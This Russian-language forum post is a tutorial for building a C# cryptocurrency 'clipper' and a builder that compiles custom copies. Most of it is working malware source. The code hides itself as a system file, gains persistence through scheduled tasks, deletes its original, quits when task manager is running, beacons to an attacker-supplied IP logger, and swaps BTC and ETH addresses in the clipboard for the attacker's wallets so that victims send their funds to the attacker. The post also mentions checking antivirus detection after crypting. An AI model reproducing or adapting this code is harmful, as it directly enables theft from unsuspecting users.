- Joined
- Feb 2, 2019
- Messages
- 536
- Reaction score
- 68
Клиппер - вредоносная программа, которая мониторит буффер обмена на наличие каких либо данных, и, в случае их нахождения, заменяет
на указанные. Таким образом, жертва может отправить деньги на кошелек злоумышленника.
В сегодняшней статье мы напишем клиппер на языке C#. Также в этой статье мы рассмотрим создание билдера малвари.
Билд
Алгоритм работы клиппера:
1) Проверяем, заражена ли система. Если нет, то копируемся в указанную папку, добавляемся в автозагрузку, стучим в логгер
2) Запускаем в отдельном потоке мониторинг процессов
3) Мониторим буффер обмена
Код можно писать прямо в блокноте тк позже мы добавим его в ресурсы билдера.
Функция мониторинга процессов. В случае обнаружения диспетчера задач закрывем приложение:
Переходим к Main. Задаем путь к файлу:
[path], [filename] и проч. - значения, которые будут заменены билдером при компиляции.
Устанавливаем клиппер если он не установлен:
Запустим в новом потоке мониторинг процессов:
Напишем цикл, отвечающий за подмену кошельков. Сверяем по Regex данные в буффере, и если там есть кошелек осуществляем замену. Для примера я использовал три кошелька (два BTC и один ETH), вы можете добавить свои.
С клиппером закончили. Сохраняем код в txt файл. Переходим к билдеру.
Билдер
Алгоритм работы билдера:
1) Получаем указанные в полях кошельки
2) Заменяем их в исходнике клиппера
3) Компилируем исходник
Создаем проект WindowsForms. По-быстрому набросаем форму:
Переходим к коду. Добавим пару юзингов:
В обработчике кнопки пишем:
Добавляем в ресурсы билдера сурс клиппера:
Компилируем билдер.
Детект билда: https://avcheck.net/id/oGkjgtdwEVdI
После крипта:
на указанные. Таким образом, жертва может отправить деньги на кошелек злоумышленника.
В сегодняшней статье мы напишем клиппер на языке C#. Также в этой статье мы рассмотрим создание билдера малвари.
Билд
Алгоритм работы клиппера:
1) Проверяем, заражена ли система. Если нет, то копируемся в указанную папку, добавляемся в автозагрузку, стучим в логгер
2) Запускаем в отдельном потоке мониторинг процессов
3) Мониторим буффер обмена
Код можно писать прямо в блокноте тк позже мы добавим его в ресурсы билдера.
Функция мониторинга процессов. В случае обнаружения диспетчера задач закрывем приложение:
Code:
static void Monitor() {
while (true) {
try {
foreach(Process item in Process.GetProcesses())
if (item.ProcessName.ToLower() == "taskmgr" ||
item.ProcessName.ToLower() == "processhacker" ||
item.ProcessName.ToLower() == "procexp")
Environment.Exit(0);
Thread.Sleep(500);
} catch {}
}
}
Переходим к Main. Задаем путь к файлу:
Code:
string path = Environment.GetEnvironmentVariable("[path]") + "\\" + "[filename]";
[path], [filename] и проч. - значения, которые будут заменены билдером при компиляции.
Устанавливаем клиппер если он не установлен:
Code:
if (!File.Exists(path)) {
File.Copy(Assembly.GetEntryAssembly().Location, path);
// Самоудаление и добавление в планировщик заданий
ProcessStartInfo proc = new ProcessStartInfo();
proc.Arguments = "/C choice /C Y /N /D Y /T 3 & Del \"" + Assembly.GetEntryAssembly().Location + "\" & schtasks /create /tn \\" + Path.GetRandomFileName().Split('.')[0] + "\\" + Path.GetRandomFileName().Split('.')[0] + " /tr " + path + " /st 00:00 /du 9999:59 /sc daily /ri 1 /f";
proc.WindowStyle = ProcessWindowStyle.Hidden;
proc.CreateNoWindow = true;
proc.FileName = "cmd.exe";
// Ставим аттрибуты Скрытый и Системный на файл
File.SetAttributes(path, FileAttributes.Hidden | FileAttributes.System);
// Стучим в IPLogger
try {
HttpWebRequest http = (HttpWebRequest) WebRequest.Create("[iplogger]");
http.UserAgent = "New user!";
http.GetResponse();
} catch {}
Process.Start(proc);
Environment.Exit(0);
}
Запустим в новом потоке мониторинг процессов:
Code:
Thread th = new Thread(Monitor); // Чекаем процессы в отдельном потоке
th.Start();
Напишем цикл, отвечающий за подмену кошельков. Сверяем по Regex данные в буффере, и если там есть кошелек осуществляем замену. Для примера я использовал три кошелька (два BTC и один ETH), вы можете добавить свои.
Code:
while (true) {
string idat_old = string.Empty;
string idat = string.Empty;
Thread.Sleep(500);
try {
if (Clipboard.ContainsText()) {
idat = Clipboard.GetText();
if (idat != idat_old) {
// Ищем в clipboard адреса и если находим заменяем
if (new Regex("^1[a-km-zA-HJ-NP-Z1-9]{25,34}$").IsMatch(idat)) {
new Thread(() => {
Clipboard.SetText("[btcwallet1]");
}) {
ApartmentState = ApartmentState.STA
}.Start();
}
if (new Regex("^3[a-km-zA-HJ-NP-Z1-9]{25,34}$").IsMatch(idat)) {
new Thread(() => {
Clipboard.SetText("[btcwallet2]");
}) {
ApartmentState = ApartmentState.STA
}.Start();
} else if (new Regex("^0x[a-fA-F0-9]{40}$").IsMatch(idat)) {
new Thread(() => {
Clipboard.SetText("[ethwallet]");
}) {
ApartmentState = ApartmentState.STA
}.Start();
}
idat_old = idat;
}
}
} catch {}
}
С клиппером закончили. Сохраняем код в txt файл. Переходим к билдеру.
Билдер
Алгоритм работы билдера:
1) Получаем указанные в полях кошельки
2) Заменяем их в исходнике клиппера
3) Компилируем исходник
Создаем проект WindowsForms. По-быстрому набросаем форму:
Переходим к коду. Добавим пару юзингов:
Code:
using Microsoft.CSharp;
using System.CodeDom.Compiler;
В обработчике кнопки пишем:
Code:
CompilerParameters Params = new CompilerParameters(); // Параметры компилируемой сборки
Params.IncludeDebugInformation = false;
Params.CompilerOptions = " /t:winexe /platform:x86";
Params.OutputAssembly = "build.exe";
Params.ReferencedAssemblies.Add("System.Windows.Forms.dll");
Params.ReferencedAssemblies.Add("System.dll");
string Source = Properties.Resources.Source;
Source = Source.Replace("[btcwallet1]", textBox1.Text); // Заменяем нужные значения в сурсе
Source = Source.Replace("[btcwallet2]", textBox2.Text);
Source = Source.Replace("[ethwallet]", textBox3.Text);
Source = Source.Replace("[path]", comboBox1.SelectedItem.ToString());
Source = Source.Replace("[filename]", textBox4.Text);
Source = Source.Replace("[iplogger]", textBox5.Text);
var settings = new Dictionary < string,
string > ();
settings.Add("CompilerVersion", "v4.0");
CompilerResults Results = new CSharpCodeProvider(settings).CompileAssemblyFromSource(Params, Source);
if (Results.Errors.Count > 0) {
foreach(CompilerError err in Results.Errors)
MessageBox.Show(err.ToString()); //Вывод ошибок
}
MessageBox.Show("Done!", "Success");
Добавляем в ресурсы билдера сурс клиппера:
Компилируем билдер.
Детект билда: https://avcheck.net/id/oGkjgtdwEVdI
После крипта: